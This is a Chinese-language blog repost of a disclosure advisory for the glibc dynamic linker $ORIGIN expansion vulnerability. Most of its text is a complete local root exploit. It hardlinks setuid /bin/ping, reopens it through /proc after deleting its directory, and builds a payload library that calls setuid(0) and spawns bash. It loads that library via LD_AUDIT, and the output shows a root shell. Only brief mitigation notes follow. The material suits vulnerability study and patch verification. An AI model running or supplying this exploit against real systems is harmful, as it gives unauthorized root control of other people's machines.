GNU C library 动态链接区 $ORIGIN 溢出漏洞

GNU C library dynamic linker $ORIGIN expansion Vulnerability

from: http://marc.info/?l=full-disclosure&m=128739684614072&w=2

动态链接器(或动态加载器)是为连接运行时负责动态链接程序。 ld.so运行在两个安全模式,一个是宽松模式,使超过负荷运行控制程度高,一个是安全模式(libc_enable_secure)旨在防止用户的干扰装载特权可执行文件。

至少有以下版本已经过测试

   2.12.1, FC13
   2.5, RHEL5 / CentOS5

影响:

可以利用这个漏洞以root权限执行任意代码

代码如下:

$ mkdir /tmp/exploit

链接到一个suid的二进制,从而改变$ORIGIN的定义

$ ln /bin/ping /tmp/exploit/target 

 打开文件描述符的目标二进制

$ exec 3< /tmp/exploit/target

该描述符号现在应该可以通过/ proc来访问

$ ls -l /proc/$$/fd/3

删除以前创建的目录

$ rm -rf /tmp/exploit/

/ proc的链接应该仍然存在,但现在将被标记为删除

$ ls -l /proc/$$/fd/3

更换一个有效载荷DSO的目录,从而制造 $ORIGIN对于dlopen()的有效目标

$ cat > payload.c
void __attribute__((constructor)) init()
{
   setuid(0);
   system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

$ ls -l /tmp/exploit

现在强行把位于/proc的链接通过LD AUDIT来加载$ORIGIN

$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

这样就取得了root权限

sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)

缓解方法:

阻止用户在mounted的文件系统上创建文件

解决方法:

主要发行商应该在短期内发布最新的glibc包

 

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/ydt619/archive/2010/10/20/5954199.aspx

你可能感兴趣的:(职场,休闲,溢出漏洞)